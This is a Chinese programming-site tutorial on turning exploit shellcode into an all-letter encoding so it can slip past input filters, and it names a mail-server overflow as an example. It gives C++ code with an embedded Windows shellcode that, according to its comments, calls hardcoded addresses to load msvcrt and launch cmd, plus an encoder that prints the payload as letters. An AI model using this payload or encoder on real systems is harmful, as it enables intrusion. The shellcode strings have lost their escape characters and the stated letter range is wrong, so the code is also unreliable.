当前位置:编程学习 > 网站相关 >>

创建存数字字母shellcode方案之 类base16

算法描述:将字符取前、后4位各加上一个key(例如0x41),分解为两个字符。

shellcode字符范围为0x00 - 0xFF 为2^8 = 256个字符,每个字符拆解过后的两个部分取值范围为2^4 = 16 = 0x10

加上一个适当的key,以0x41为例每个部分取值范围为0x41 - 0x51 即为ascii码的A - Q,所以全部是A-Q的大写字母。

当然,在会被转换成小写的时候(如Cmail hello 溢出漏洞),选用0x61为key,就得到全小写字母的字符范围。

算法代码示例(C++)

base16.cpp:

#include <stdio.h>

typedef struct _Byte_base16
{
 unsigned o1 : 4;
 unsigned o0 : 4;
}Byte_base16, *PByte_base16;
unsigned char shellcode[] =
"x33xC0"             //       xor     eax, eax
"x66xB8x72x74"     //       mov     ax, 7472
"x50"                 //       push    eax
"x68x6Dx73x76x63" //       push    6376736D
"x54"                 //       push    esp
"xB8xcfx05xe7x77" //       mov     eax, 0x77e705cf
"xFFxD0"             //       call    eax
"x99"                 //       cdq
"x66xBAx63x6D"     //       mov     dx, 6D63
"x52"                 //       push    edx
"xC6x44x24x02x64" //       mov     byte ptr [esp+2], 64
"x54"                 //       push    esp
"xB8xbfx8ex01x78" //       mov     eax, 0x78018ebf
"xFFxD0"             //       call    eax
"x99"                 //       cdq
"x52"                 //       push    edx
"xB8x1axe0xe6x77" //       mov     eax, 0x77e6e01a
"xFFxD0";             //       call    eax

int main(int argc,char* argv[])
{
 unsigned char key = 0x41; //key to base16
 PByte_base16 p;
 int i = 0;
 while(shellcode[i])
 {
  p = (PByte_base16)(&shellcode[i++]);
  printf("%c%c",p->o0 + key,p->o1 + key);
 }

 return 0;
}

 

补充:综合编程 , 安全编程 ,
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,